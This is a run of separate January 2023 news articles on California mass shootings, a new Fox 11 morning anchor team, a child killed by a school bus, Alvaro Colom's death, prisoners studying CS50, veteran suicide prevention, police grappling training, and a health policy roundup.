The TV station announced Tuesday that Robert and Lahmers will join its "Good Day L.A." anchor lineup in February. Robert and Lahmers will continue their work as correspondents and weekend co-hosts for "Extra" after starting their new gigs.

The pair of broadcast journalists will helm "Good Day L.A." from 6 to 9 a.m., joining co-anchors Brooke Thomas and Bob DeCastro (4 to 6 a.m.) and Araksya Karapetyan and Sandra Endo (9 to 11 a.m.). Additionally, Lahmers, Karapetyan, Thomas, Endo and DeCastro will deliver enterprise news coverage throughout the entire "Good Day L.A." broadcast.

As we continue to enhance and grow our news product to meet the changing needs of our viewers, we are excited to enter this era with a group of versatile and engaging anchors," said Steve Carlston, senior vice president of KTTV Fox 11, in a statement.

"Adding Jennifer and Melvin to our already strong team will further integrate us with our partners at EXTRA, sharing access to events and interviews, and tying together our morning and evening programming.

A lifelong Californian who grew up in Inglewood and graduated from Loyola Marymount University, Robert previously worked for Spectrum News 1 as a co-anchor of "Your Morning" and host of "The SoCal Scene." Prior to launching his TV journalism career, Robert spent 11 years working in education.

"I built my morning television dreams watching the iconic Good Day LA broadcast," Robert said in a statement.

"I am humbled to carry on its legacy and am committed to earning the trust of the audience. Its an honor to serve a community that truly matters to me, filled with viewers who are my friends, family, and neighbors.

Before landing a position at "Extra," Lahmers served as a reporter and "Good Day Wake Up" co-host at WNYW Fox 5. She also worked as a broadcast journalist and print columnist in Tennessee and Connecticut after graduating from Ohio University's E.W. Scripps School of Journalism.

Story continues

I am thrilled to return to morning news on FOX TV, with a network that has been my home for nearly a decade," Lahmers said in a statement.

"Ive had the privilege of being welcomed into viewers homes in the evenings and will show Californians why I should be a part of their morning routines, too.

News of Robert and Lahmers' new roles comes not long after "Good Day L.A." said goodbye to two of its most popular anchors, Michaela Pereira and Tony McEwing. Pereira confirmed she was leaving the show to pursue other opportunities in August, while McEwing announced his retirement earlier this month.

This story originally appeared in Los Angeles Times.
A memorial for 7-year-old Connor Kaczmarski near his Park Forest home Jan. 23, 2023. He was struck by a school bus Jan. 20 and later died. (Mike Nolan / Daily Southtown)

Visitation will be held Friday and Saturday for a 7-year-old Park Forest boy who was struck by a school bus Friday near his home and later died.

Connor Kaczmarski, of the 100 block of Walnut Street, was a second grader at Mohawk Primary Center, according to Park Forest-Chicago Heights Elementary District 163, which made grief counselors available at the school.

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He was struck by a bus that was dropping students off a little after 3 p.m., and was pronounced dead at 4 p.m. Friday at Franciscan Health Olympia Fields Hospital.

The cause and manner of the boys death was still under investigation Monday, according to the Cook County medical examiners office.

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Visitation will be held from 3 to 8 p.m. Friday and 9 to 11 a.m. Saturday at Ridge Funeral Home, 6620 W. Archer Ave., Chicago, according to the home. A funeral service will be held at the home at 11 a.m. Saturday.

Daily Southtown Twice-weekly News updates from the south suburbs delivered every Monday and Wednesday By submitting your email to receive this newsletter, you agree to our Subscriber Terms & Conditions and Privacy Policy >

Park Forest police said an investigation continues with the assistance of the Suburban Major Accident Reconstruction Team.

District 163 Superintendent Caletha White wrote in a statement to district families that Kaczmarski was a joy to all of his teachers, kindhearted, smart and funny, and that he will be missed greatly by the Mohawk and District 163 students and educators.

Near where the accident occurred, a makeshift memorial was been set up with stuffed animals and balloons.

The bus involved in the accident is owned by Kickert School Bus Line Inc., and the driver and witnesses to the crash were being interviewed by investigators, police said.

Police said that any decision regarding criminal charges will be made in conjunction with the Cook County states attorneys office when all evidence has been obtained and reviewed.

Police said that anyone with information about the accident should call 708-748-1309.

mnolan@tribpub.com
GUATEMALA CITY (Reuters) - Guatemala's former president Alvaro Colom died on Monday aged 71 from esophageal cancer, his former security minister Carlos Menocal told Reuters.

The former president, who led the Central American country from 2008 to 2012, was very sick and released from the hospital a week and a half ago, Menocal told Reuters.

"To his family and friends I express my heartfelt condolences, may God comfort them in the face of such an irreparable loss," current president Alejandro Giammattei said on Twitter.

Colom, a soft-spoken politician and textile businessman, beat former head of army intelligence Otto Perez Molina in 2007 to become Guatemala's first leftist president since the country's civil war ended in 1996.

The former president, who came to define himself as a social democrat, was arrested in 2018 as part of a local corruption investigation looking at buses bought during his administration for a large public transport program.

When he died, Colom was under preventative home arrest still awaiting a trial.

(Reporting by Sofia Menchu; Writing by Valentine Hilaire; Editing by Sarah Morland)
A mushroom farm worker has been arrested for killing seven coworkers in a mass shooting in Half Moon Bay  marking the second of three California mass shootings in three days.

Chunli Zhao, 67, worked for decades at one of the two agricultural business sites where the shooting unfolded on Monday afternoon.

He was arrested soon after when he was spotted sitting in his car outside a local sheriffs office. Video showed officers wrestling him to the ground and placing him in handcuffs.

The alleged gunman shot dead four victims and wounded a fifth at the Mountain Mushroom Farm, and fatally shot another three victims at the Rice Trucking-Soil Farm located around two miles away, according to authorities. The eighth victim was airlifted to hospital and is now in a stable condition.

The horror attack is believed to have been witnessed by many children, as many farm workers live on-site with their families.

Police said on Tuesday that Zhao obtained the gun legally and characterised the incident as a workplace violence incident.

The arraignment is expected tomorrow in San Mateo County.

Key Points

What we know about the Half Moon Bay shootings

Who is suspect Chunli Zhao?

Suspects arrest captured on video hours after shootings

Two of seven victims identified

Firearm at Half Moon Bay was legally obtained

17:26 , Oliver O'Connell

Authorities in Half Moon Bay are giving an update on developments in the case.

They confirmed that the suspect was an employee of Mountain Mushroom Farm and that he obtained the semiautomatic handgun he used legally.

His arraignment is tomorrow in San Mateo County.

A victim who was hospitalised after the shooting is out of surgery and in a stable condition.

Officials say the suspect used a semiautomatic handgun. It was legally obtained and owned.



The suspect was an employee at Mountain Mushroom Farm.



The arraignment is tomorrow in San Mateo County.  Liz Kreutz (@ABCLiz) January 24, 2023

Recap: What we know about the Half Moon Bay shootings

17:00 , Oliver O'Connell

Story continues

California has now been left reeling from three mass shootings in as many days, after a disgruntled mushroom farm worker allegedly shot dead seven coworkers in a massacre in Half Moon Bay.

Chunli Zhao, who worked for decades at one of the two sites where the shooting unfolded, is accused of carrying out two separate shootings at two different agricultural businesses in the San Francisco area.

The suspect, 67, was arrested on Monday afternoon after he was spotted sitting in his car outside a local sheriffs office.

Investigators are still trying to determine a motive for the horror attack which has reignited calls for a crackdown on gun laws in the US where mass shootings and gun violence are increasingly commonplace.

The Independents Rachel Sharp explains what we know so far about the shooting:

Everything we know about Half Moon Bay mass shooting that left seven dead

California rocked by third mass shooting in three days as one killed and seven injured in Oakland

16:30 , Megan Sheets

California was rocked by its third mass shooting in as many days on Monday evening as one victim was killed and seven others injured in a shooting rampage at a gas station in Oakland.

The shooting unfolded just after 6pm at a gas station along Seminary Avenue and Macarthur Blvd, according to the Oakland Police Department (OPD).

Law enforcement responded to the scene after being notified to a shooting through ShotSpotter activity.

The Independents Rachel Sharp has more:

California rocked by third mass shooting in days as 1 killed, 7 injured in Oakland

Possible motive emerges in Monterey Park shooting

16:10 , Megan Sheets

As many details remain unclear in the Half Moon Bay shooting, more information continues to emerge about the earlier attack in Monterey Park.

Officials say the suspect in that shooting, 72-year-old Huu Can Tran, had told the police earlier this month that his family had tried to poison him decades ago.

Hemet police spokesperson Alan Reyes said in a statement on Monday that Tran visited the Hemet Police Department lobby twice this month  on 7 January and then again on 9 January.

Tran had also made allegations of fraud and theft, apart from claiming that his family in the Los Angeles area had tried to poison him some 10-20 years ago.

The Independents Maroosha Muzaffar has more details:

Monterey Park killer thought his family tried to poison him decades ago

Children of farm worker victims witnessed shootings

15:50 , Megan Sheets

Children were present at the time seven people were killed across two farms in Half Moon Bay, San Mateo County Sheriff Christina Corpus said.

The victims killed are believed to be workers at the properties, Mountain Mushroom Farm and Concord Farms, which are roughly two miles apart.

Ms Corpus said children did witness at least one of the shootings as workers live on both farms with their families.

Suspect Chunli Zhao is believed to be a worker at one of the farms.

Concord Farms issued a statement saying the suspect was unknown to the business, suggesting he worked at Mountain Mushroom Farm.

Two of seven victims identified

15:36 , Megan Sheets

The San Mateo County coroner has identified two of the seven victims killed at Half Moon Bay farms.

The coroners office did not release the names of those two victims as it is still working to notify their families.

When notifications to the next of kin have been made, we can release some info, coroner Robert J Foucrault said in a text message to the Los Angeles Times.

Half Moon Bay Mayor Deborah Penrose also offered scant detail about the victims in an interview with CNN on Tuesday morning.

Only thing we do know is that some of the victims were Chinese, that the perpetrator was Chinese, and that this was an agricultural community, Ms Penrose said. They were agricultural workers.

Suspect Chunli Zhao was unknown to one business where shooting occurred

15:21 , Megan Sheets

The principal of Concord Farms, which runs a location where one of the shootings took place, has suggested the company was unfamiliar with alleged gunman Chunli Zhao.

We thank law enforcement for their swift response and actions. Concord Farms is a family owned and operated mushroom farm at this location for 37 years, principal Aaron Tung said in a statement, according to ABC News.

With no past knowledge with this gunman or his motives, we are shook and very eager to gain more information from the authorities and their investigations. Our hearts are with the victims, their families and the Chinese American communityfrom Half Moon Bay to Monterey Park.

Three victims were found dead at Concord Farms, while another four were killed and fifth was wounded at the nearby Mountain Mushroom Farm.

Investigators are still working to determine which shooting took place first.

Joe and Jill Biden release statement on Half Moon Bay shooting

15:05 , Megan Sheets

President Joe Biden and his wife Jill reacted to the Half Moon Bay shooting in a statement released by the White House on Tuesday morning:

Jill and I are praying for those killed and injured in the latest tragic shooting in Half Moon Bay, California. For the second time in recent days, California communities are mourning the loss of loved ones in a senseless act of gun violence.

Following a briefing from my homeland security team, I have directed my administration to ensure local authorities and the broader Half Moon Bay community have the full support of the federal government in the wake of this heinous attack.

Yesterday, Senator Feinstein  alongside Senators Murphy, Blumenthal and others  reintroduced a federal Assault Weapons Ban and legislation that would raise the minimum purchase age for assault weapons to 21. Even as we await further details on these shootings, we know the scourge of gun violence across America requires stronger action. I once again urge both chambers of Congress to act quickly and deliver this Assault Weapons Ban to my desk, and take action to keep American communities, schools, workplaces, and homes safe.

Follow live updates on the Monterey Park shooting

14:50 , Megan Sheets

The Independent is also running live coverage of the Monterey Park shooting that left 11 dead and nine others injured on Saturday night.

Details continue to emerge about the victims, as well as the alleged gunmans possible motive.

Follow along here:

Monterey Park gunmans poison paranoia revealed as 7 killed in Half Moon Bay  live

Newsom slams tragedy upon tragedy as he learns about latest mass shooting while visiting Monterey Park victims

14:35 , Megan Sheets

California Governor Gavin Newsom was in Monterey Park meeting with victims of Saturdays mass shooting on Monday when he learned about the shooting at Half Moon Bay.

At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay. Tragedy upon tragedy, he tweeted.

In an interview with CBS, the governor described the Second Amendment as a suicide pact and said that large capacity magazines do not belong on our streets.

This Second Amendments becoming a suicide pact, it feels like, he said.

Californias 37 per cent lower than the death rate of the rest of the nation, and yet, with all that evidence, no one on the other side seems to give a damn.

"This Second Amendment's becoming a suicide pact, it feels like," Gov. Gavin Newsom tells @NorahODonnell in Monterey Park. "California's 37% lower than the death rate of the rest of the nation, and yet, with all that evidence, no one on the other side seems to give a damn." pic.twitter.com/tSz7oawXtR  CBS Evening News (@CBSEveningNews) January 24, 2023

California sees three mass shootings in three days

14:20 , Megan Sheets

Mondays tragedy in Half Moon Bay marked the second of three mass shootings to rock California in as many days.

Eleven dead in Monterey Park

The first shooting unfolded in Monterey Park, outside Los Angeles, on Saturday night following Lunar New Year celebrations.

Eleven people were killed after alleged gunman Huu Can Tran entered the Star Ballroom Dance Studio and opened fire.

Tran then drove to a second dance studio  Lai Lai Ballroom in nearby Alhambra  where a hero worker managed to wrestle a gun away from him.

The gunman then fled the scene and no one was injured in the second incident.

A huge manhunt was launched to track down the gunman, culminating around 12 hours later with a police standoff in Torrance, about 30 miles from Monterey Park.

Tran died from a self-inflicted gunshot wound in his white van.

The motive for that attack remains unclear but it has emerged that Tran was paranoid that his family had tried to poison him decades ago and that had gone to police with the allegations just weeks before he going on the shooting rampage.

One dead, seven injured in Oakland

A teenager was killed and seven other victims injured in a shooting rampage at a gas station in Oakland on Monday evening.

The shooting unfolded just after 6pm at a Valera gas station along Seminary Avenue and Macarthur Blvd, according to the Oakland Police Department (OPD).

Law enforcement responded to the scene after being alerted to a shooting through ShotSpotter activity.

When officers arrived on the scene, there were no victims in sight  but shell casings left behind indicated what had unfolded.

Multiple victims suffering gunshot wounds had already self-transported to several area hospitals, OPD said.

One victim  identified by his family as 18-year-old Mario Navarro  was killed.

The other seven were in stable condition and are expected to survive.

Police have not confirmed what may have led up to the shooting but said that the investigation so far shows that several people may have exchanged gunfire.

Arrest captured on video

14:05 , Megan Sheets

San Mateo County Sheriff Christina Corpus said in a press conference that Chunli Zhao, who had worked at the mushroom farm for decades, was found around two hours after the shootings sitting in his car in the parking lot of a sheriffs substation.

Dramatic footage shows the suspect being wrestled to the ground as armed officers took him into custody.

The video, captured by Half Moon Bay resident Kati McHugh, shows three officers approaching a parked car with drawn weapons. The suspect then gets out of the car as officers pull him to the ground, handcuff and lead him away.

A semi-automatic handgun believed to have been used in the mass shooting was found inside his car, officials said.

The sheriff said that they are working on the belief that the suspect had gone to the police station to turn himself in, though this is yet to be confirmed. Mr Zhao is said to be fully cooperating with law enforcement.

Who is suspect Chunli Zhao?

13:50 , Megan Sheets

Little is yet known about suspected gunman Chunli Zhao.

The 67-year-old had worked for decades as a farmer at one of the two sites where the shooting unfolded.

San Mateo County Board of Supervisors President Dave Pine told local outlet KRON4 that Mr Zhao was a disgruntled worker at the farm but gave no further details.

The sheriff described the shooting as horrific, saying: Its a tragedy that we hear about far too often but today has hit home here in San Mateo County.

The Independents Rachel Sharp reports:

Who is Chunli Zhao? Everything we know about the Half Moon Bay shooting suspect

What we know about the Half Moon Bay shootings

13:33 , Megan Sheets

California has now been left reeling from three mass shootings in as many days, after a disgruntled mushroom farm worker allegedly shot dead seven coworkers in a massacre in Half Moon Bay.

Chunli Zhao, who worked for decades at one of the two sites where the shooting unfolded, is accused of carrying out two separate shootings at two different agricultural businesses in the San Francisco area.

The suspect, 67, was arrested on Monday afternoon after he was spotted sitting in his car outside a local sheriffs office.

Investigators are still trying to determine a motive for the horror attack which has reignited calls for a crackdown on gun laws in the US where mass shootings and gun violence are increasingly commonplace.

The Independents Rachel Sharp explains what we know so far about the shooting:

Everything we know about Half Moon Bay mass shooting that left seven dead
Scientists have moved the hands of the Doomsday Clock 10 seconds ahead. Now there are 90 seconds left until the presumed end of the world.

Source: Bulletin of the Atomic Scientists, American magazine founded by Albert Einstein

Details: It is reported that humanity has never come so close to a global catastrophe.

The magazines scientific board cites Russia's attack on Ukraine and the threat of nuclear war it carries as the main reason for the change of clock. Other causes include climate change, biological phenomena, and misuse of technology.

Quote: "And worst of all, Russias thinly veiled threats to use nuclear weapons remind the world that escalation of the conflict  by accident, intention, or miscalculation  is a terrible risk. The possibility that the conflict could spin out of anyones control remains high."

Background: Starting in 2019, the hands of the Doomsday Clock moved forward by one minute and 10 seconds. Then they showed 2 minutes until the end of the world.

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!






Prisoners are using smartphones for a variety of things, The Marshall Project reported, including taking Harvard's CS50 computer-science course. Kittirat Roekburi / Getty Images

An inmate in Georgia told The Marshall Project he uses a contraband phone to teach other prisoners.

He said he runs a group message teaching computer science using Harvard's CS50 online course.

The Harvard professor told Insider he's received thank-you notes from prisoners who took the class.

Prisoners are using smartphones to access online classes, and at least one Harvard professor told Insider they even send him thank-you notes from time to time.

The Marshall Project reported on the rise of secret smartphone use amongst prisoners, and talked to one inmate who said that he leads a group message of around 300 other prisoners learning computer science using an online course from Harvard. The group message includes prisoners in other states, the inmate said, and they use Harvard's CS50: Introduction to Computer Science course materials that are available for free online.

"There are a bunch of schools that do that, but I find Harvard's are the best, and that professor  David Malan  I think he's one of the best," the inmate said, adding that the course is self-guided and self-graded.

Malan told Insider over email that he's received thank-you notes from students in prison over the years.

"We have such admiration for students who are trying to acquire new knowledge and skills on their own, ever more so in circumstances like those," Malan said.

In addition to inmates taking online classes like the man in Georgia, some pose as regular students in online classes, something that online learning through Zoom allows.

Because internet access is often restricted for students in prison, he said Harvard has tried to ensure that the materials for CS50 can be used offline by having downloadable videos and software that can be installed locally.

Malan encourages incarcerated students to reach out to him if they have trouble with accessing the course. He also wants to reassure them that, even for him after years of teaching computer science, programming something almost always takes longer than he expects, so he encourages them to not be too discouraged when struggling in the course.

Story continues

Educational resources being freely available online "is a wonderful thing," Malan said, adding that learning communities are important since learning something on one's own can be challenging.

Malan said he's worked with teachers and students in Central America, and has also received notes from students of his online class in Egypt, Syria, Iraq, Ukraine, and several other countries.

Most jails and prisons don't allow inmates to have cell phones, meaning these inmates are at risk of being caught and punished for having their phones, as The Marshall Project reports.

An incarcerated man in California told The Marshall Project that prisoners "have to acquire contraband phones from the people who are supposed to be watching us. That's the only way we can do things to better ourselves because they damn sure don't offer that stuff here."

Read the original article on Business Insider
Jan. 23CONCORD  Leaders of several veteran organizations predicted a new federal law to require a Buddy Check Week every year would be a lifesaver for soldiers dealing with mental health problems.

Sen. Maggie Hassan, D-N.H., who authored the law, hosted a roundtable via Zoom Monday to discuss how stakeholders can take advantage of this new mandate, modeled after the American Legion's own "Buddy Check Week of National Calling."

The law requires the Veterans Administration to make sure the Veterans Crisis Line has enough staffing during this week to deal with a surge of additional telephone calls to conduct wellness checks on veterans.

The measure was contained in the $1.7 trillion federal spending bill Congress approved last month.

"All the vets I've spoken to are excited by this. It's going to take these guys a little while to get acclimated to it," said Seth Gahr, a peer-to-peer support specialist with the New Hampshire State Police.

"This is a home run program; I just wish we had this 30 years ago in New York City."

Hassan had planned to host Monday's roundtable at the American Legion's Sweeney Post in Manchester, but decided to hold it remotely due to the winter storm.

Dr. Alicia Semiatin, chief of mental health with the Manchester VA Medical Center, said the program will help advocates get proactive care to vets.

"We don't see veterans with mental health issues until they are in crisis," Semiatin said. "The Buddy Check program really allows us to do more preventative care."

Reaching out to employers is key

Amy Cook, suicide prevention coordinator for the National Alliance for Mental Illness in the state, said her organization last year conducted 650 hours of military culture and suicide prevention training for private employers and health care providers.

"The majority of vets are going to work every day. Employers need to know the warning signs," Cook said.

Story continues

Commander Rick Borrazas of the Disabled American Veterans Department of New Hampshire said veterans who are struggling are more likely to accept help from a fellow veteran, ideally one with similar experiences in the military.

"Many Vietnam vets had such a bad welcome home and a bad experience with VA way back then. The key is asking the right, probing questions," Borrazas said.

Denis Querrard, senior vice commander with the Veterans of Foreign Wars, said many soldiers coming back after the withdrawal from Afghanistan a year and a half ago had difficulty with that transition.

One of those New Hampshire veterans took his own life late last week, Querrard said.

"He had a child on the way and a girlfriend. We thought we had solved some issues, but his demons caught up with him," Querrard said. "Communication is the most important thing."

Hassan said steps should be taken to ensure the mental health care workforce has "cultural competency" when it comes to assisting veterans who are in crisis.

She also said Congress should consider ways to create more incentives for veterans to enter the field of mental health after their military service.

"We don't wait for other people to solve problems; we just roll up our sleeves and get going," Hassan said.

There is a toll free suicide crisis hotline that can be reached anywhere by dialing 988 and at the prompt, hit 1, which will direct services for a veteran who is in need of help, she added.

Kevin Forrest, Manchester VA Medical Center director, and Wayne Perra, adjutant of the New Hampshire American Legion, also took part in Monday's forum.

klandrigan@unionleader.com
When Elmwood Park police responded to a reported assault at a Broadway laundromat in September, officers had no idea what kind of powder keg theyd stumbled upon.

An emotionally disturbed 27-year-old man from Paterson had allegedly attacked his grandmother, then turned his sights on a good Samaritan who tried to intervene, according to borough Police Chief Michael Foligno. Body camera footage released by the borough showed that when officers arrived, the man quickly began to fight them, too.

Elmwood Park Patrolman Ken McKinney said that in the past, the struggle would have ended with McKinney slamming the man to the concrete. But after two years of training in Foligno's private defensive tactics course, McKinney chose a gentler tack.

He hooked his arms beneath the man's armpits and sat back, smoothly bringing him to the ground.

Patrolman Anthony Ingraffia, 25, coiled himself around the man's legs, immobilizing him as McKinney straddled his back and wrestled his wrists into the handcuffs. Minutes later, officers stood up the unhurt man and arrested him.

Story continues after photo gallery

Sitting in an Elmwood Park Police Department conference room two months later, McKinney, 30, a former state corrections officer, wondered why theyd never been taught these techniques before.

"I was like, 'This is so simple. Why didn't I learn this in the police academy?'" McKinney said. "It works. It was fluid. It didn't hurt anybody, and it just clicks. Everybody's safe."

The way the officers conducted themselves  and the fact that they were able to arrest without incident an erratic man bent on resisting  buttresses Foligno's long-held contention that teaching officers to use their hands is the best way to end the string of controversial police killings that have tormented the country in recent years.

When you teach officers proven techniques to properly restrain suspects, he says, those officers are much less likely to reach for their handgun or use the potentially deadly locks and holds that killed George Floyd in Minneapolis and Eric Garner in New York.

Story continues

Foligno has been doing that for the past three years, frequently gathering officers from several departments for training sessions led by Jimmie Rivera, a professional mixed martial arts fighter from Newton.

The chief  along with Rivera and Ron Schulmann, co-founder of Tiger Schulmanns Martial Arts  has also started a company under the Tiger Schulmanns umbrella called Guardian Law Enforcement Defensive Tactics. The company is devoted to teaching a cop-friendly form of Brazilian jiujitsu, a grappling art similar to wrestling, so officers can get control over suspects without the need for lethal force.

This will reduce injuries, lower legal exposure and build confidence in the ranks, Foligno said.

Were giving you a plan, a playbook, something to refer back to, he said. We wanted to make sure it was a perfect fit for everyone, whether you never trained before or youre a jiujitsu black belt. And I think we accomplished that.

At right, Ronnie Schulmann instructs police officers the correct way to control a suspect safely for both the officer and the suspect. Police officers learn grappling and fighting techniques with the intention that better trained officers would be less likely to use either their gun or excessive force in apprehending a suspect. Instructors from Tiger Schulmann's Martial Arts teach police officers at their facility in Wayne, N.J. on Monday Nov. 14, 2022.

The laundromat incident proves his point, he said. McKinney and Ingraffia said they'd trained for that exact situation on the mats. When it happened in real life, they smoothly coordinated their attack with nary a word.

There was barely any speaking, but I knew exactly what he was doing and he knew what I was doing, Ingraffia said.

The program  which was once limited to Elmwood Park officers  has quickly expanded after other departments in Bergen and Passaic counties saw the classs value. Foligno said Guardian has trained about 45 cops from neighboring agencies, including Garfield, Lodi, Midland Park, Glen Rock and the Bergen County Prosecutor's Office.

A recent training session at Tiger Schulmann's Martial Arts in Wayne drew rave reviews from officers working in Emerson, Wayne and Little Ferry.

The techniques they teach here are bar none better than weve ever been trained before, said Little Ferry Police Chief Jim Walters, who was still sweating when he walked off the mat.

Walters has sent two of his officers through the program, and one of them will be a Guardian-certified trainer soon. The chief plans to have that officer train the departments rank and file several times a year.

I think its so important for our department  and every department  to have this type of training, Walters said. This is something we lack, and its probably the most important and necessary [skill set] to be out there.

A new state program?

After years of stagnation, the state's Police Training Commission finally approved a new Brazilian jiujitsu-based defensive tactics curriculum, according to a November 2021 letter signed by commission Administrator John F. Cunningham.

"The goal is to have a program that allows for control of resistant subjects while limiting officer and subject injury," Cunningham wrote.

The Attorney General's Office also said that starting last June, the commission doubled the amount of self-defense training that academy recruits get to about 80 hours.

Through enhancements to the defensive tactics curriculum, and by doubling the amount of time recruits spend receiving this vital training, the Police Training Commission and the State Police are ensuring that those entering this noble profession are ready to meet the physical and mental demands of the job, and are capable of using the least amount of force necessary to safely resolve unsafe situations," New Jersey Attorney General Matthew Platkin said in a statement.

The commission also wants to implement a defensive tactics refresher course for all officers based on the new academy curriculum, said Sharon Lauchaire, a spokesperson for the Attorney General's Office. She lauded smaller programs such as Elmwood Park's, which she called a "good example of a local enforcement agency that has embraced the approved PTC defensive tactics concepts agency-wide."

But some training advocates  including Assemblyman Brian Bergen, a Morris County Republican  still want the state to go further.

In an interview, Bergen agreed that theres been a lot of positive movement on the subject. But he worries that if lawmakers don't enshrine training standards into state law, the programs may not stick.

It could become a fad that goes away, said Bergen, a West Point graduate and combat veteran who has called Folignos program a model for how officers should be trained. We need our police officers to have significantly more training than they do in self-defense. And it needs to be a mandatory requirement thats funded. Thats just the bottom line.

In 2020, Bergen proposed a bill to greatly increase self-defense instruction in the academies and mandate that every law enforcement officer participate in 48 hours of in-service self-defense training every year. The bill would also send $250,000 to the Police Training Commission to establish the courses.

But lawmakers voted to table the bill in October, making its future unclear.

It works. Ive tried it

Departments across the country have reached similar conclusions about the value of such training.

The Marietta Police Department in Georgia incorporated Brazilian jiujitsu into its training regimen after a controversial arrest in 2019 in which officers were caught on tape striking a man at a local IHOP restaurant, according to an article in Police1, a trade publication for law enforcement.

A subsequent study found that over two years, there was a 23% reduction in Taser usage, a 48% decrease in officer injuries, a 53% drop in civilian injuries and a 59% decrease in overall use of force among the newly trained officers.

The data clearly supports a broader consideration of the effectiveness of grappling arts in law enforcement, the article concluded.

But concerns remain, especially about how officers already inundated with training requirements will find time to shoehorn in another block of instruction.

Then theres the cost, which has worried Emerson Police Chief Michael Mazzeo.

Guardian Law Enforcement charges about $700 for 16 hours of instruction, which is reasonable in the martial arts world but expensive for perennially cash-strapped agencies.

Despite this, Mazzeo has shifted schedules around so he can keep sending officers through  as of November, seven of his 22-officer unit had participated. And, like Walters, he plans to get one of his officers certified so they can teach the rest of the department.

Ingraffia, the Elmwood Park officer, might say that's a great idea.

"It works  I've tried it. I've done it," Ingraffia said. "You never want to use this stuff, but if you have to, you're going to be successful.

This article originally appeared on NorthJersey.com: NJ police learn jiujitsu tactics to restrain hostile subjects
The FDAs vaccine committee is set to consider a recommendation for an annual COVID-19 immunization plan, similar to the one employed for flu shots. Well dive into the details.

Plus: President Biden issues a memorandum to further protect access to medication abortion.

Welcome to The Hills Health Care roundup, where were following the latest moves on policy and news affecting your health. Im Joseph Choi. Subscribe here.

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Panel to consider annual COVID vaccines

The Food and Drug Administrations (FDA) advisory panel on vaccines is set to consider an annual schedule for the coronavirus vaccine, akin to how flu vaccines are administered, when it meets this week.

The FDAs Vaccines and Related Biological Products Advisory Committee (VRBPAC) will meet Thursday to discuss how to simplify and streamline the COVID-19 vaccination process, including the composition of coronavirus vaccines and the recommended scheduling for these shots.



The rapid evolution of the SARS-CoV-2 virus, resulting in variants with an improved ability to escape immune protection, means that periodically updating the composition of COVID-19 vaccines as needed  as was done with the updated bivalent booster  requires consideration, according to panel documents posted Monday.

Potential plans: The panel said it anticipates evaluating the composition of the COVID-19 vaccine annually in June and making a recommendation for the following year  though it acknowledged the difficulties of mounting a globally coordinated vaccine recommendation.

FDA anticipates conducting an assessment of SARS-CoV-2 strains at least annually and to engage VRBPAC in about early June of each year regarding strain selection for the fall season, the documents stated.



While acknowledging that COVID-19 and the flu are not identical, panel said the deployment of the bivalent COVID-19 boosters, created to target both the ancestral strain of the virus as well as the BA.4 and BA.5 omicron subvariants, was analogous to annual flu vaccinations.

Story continues

Read more here.





Biden issues memo to protect access to abortion pills

President Biden on Sunday issued a presidential memorandum to further protect access to medication abortion by ensuring doctors can prescribe and dispense it across the United States.

Vice President Harris announced the memorandum on Sunday in remarks in Florida marking 50 years since the Supreme Courts Roe v. Wade decision.

The memorandum directs the secretary of Health and Human Services, along with the attorney general and the secretary of Homeland Security, to consider new guidance to support patients, providers and pharmacies that want to access, prescribe or provide mifepristone legally.



The memorandum will also ensure patients know their right to access reproductive health care, including medication abortion from a pharmacy

Mifepristone, which is a Food and Drug Administration (FDA)-approved drug used in medication abortion, has become an increasingly common method for ending pregnancies, especially in the wake of the Supreme Court overturning Roe v. Wade. It accounts for more than half of all abortions in the country.

Earlier this month, the FDA said it will allow U.S. retail pharmacies to offer abortion pills directly to patients with a prescription in states where abortion is legal.

Medication abortion has been available in the U.S. since 2000, when the FDA approved the use of mifepristone, but many states with strict abortion bans also limit the availability of mifepristone, either through restrictions on who can prescribe and dispense the pill or outright bans.

Read more here.





WISCONSIN BLOCKS BAN ON CONVERSION THERAPY OPPONENTS

Wisconsin LGBTQ advocates and lawmakers are recalibrating after state GOP legislators last week voted for a second time to block a ban on conversion therapy from taking effect.

Im very concerned about young people in Wisconsin who live in communities where it is once again allowed, being subjected to this really cruel and unscientific form of therapy, state Rep. Greta Neubauer (D), one of six openly LGBTQ members of Wisconsins Republican-controlled legislature, told The Hill.



Conversion or reparative therapy is a blanket term that refers to a host of interventions designed to change a persons sexual orientation or gender identity. Its been denounced by major medical organizations, including the American Medical Association (AMA) and the American Psychological Association, in part because such practices are underpinned by a belief that LGBTQ identities are pathologies that need to be cured.

Twenty-one states and the District of Columbia have laws or policies in place that ban conversion therapy for minors, according to the Movement Advancement Project, a think tank that tracks state legislation impacting the LGBTQ community. Five states, including Wisconsin through a 2021 executive order issued by Gov. Tony Evers (D), have partial bans.

Three states  Alabama, Georgia and Florida  are unable to enforce bans on conversion therapy because of an injunction in the 11th Circuit that prevents them from doing so.

Read more here.





57% SUPPORT GOVERNMENT ENSURING UNIVERSAL HEALTH CARE

A majority of adults in a new survey said that they believe it is the job of the federal government to ensure health care coverage for all Americans, but most also prefer a private health care system over a government-run option.

The 57 percent of respondents supporting the idea that ensuring health care coverage is the job of the federal government is the highest mark in Gallups polling since 2018. An overwhelming majority of Democrats share this view in the new survey, with 59 percent of independents concurring. Just 28 percent of Republicans support the idea.

While the poll showed that a majority of people said the federal government should ensure health coverage, it also found that a majority of respondents favored a private health care system over a government-run one. This is driven by a government-run system garnering just 13 percent support from Republicans and 46 percent support from independents.



More than 7 in 10 Democrats  72 percent  support the idea of a government-run health care system.

The survey results show the complex position most people in the U.S. hold on the countrys health care system. Balancing the responsibilities of the government in health care coverage while also maintaining a private coverage system has been a juggling act faced by lawmakers and successive presidential administrations for decades.

Read more here.





Health experts still learning about omicron subvariant

More than 80 percent of coronavirus cases in the Northeast are now due to XBB.1.5.

According to health authorities, XBB.1.5 appears to be the most transmissible subvariant of omicron that has been detected yet, though it is still unclear whether it causes more severe illness.

Physicians from across the Northeast who spoke with The Hill said they have not noticed a marked difference in disease severity among their recent COVID-19 patients.

Bernard Camins, medical director for infection prevention at the Mount Sinai Health System in New York, said the proportion of patients with illness severe enough to require an intensive care unit stay is the same as with previous variants.

Ulysses Wu, chief epidemiologist for Hartford Healthcare in Connecticut, said XBB.1.5 does not appear to be more lethal and noted that any time more cases of COVID-19 are seen, morbidity and mortality will increase in turn.

The presentation is for the most part the same. Maybe theyre not presenting as ill, but we are still seeing plenty of ill patients and we are still certainly seeing patients that die, said Wu.

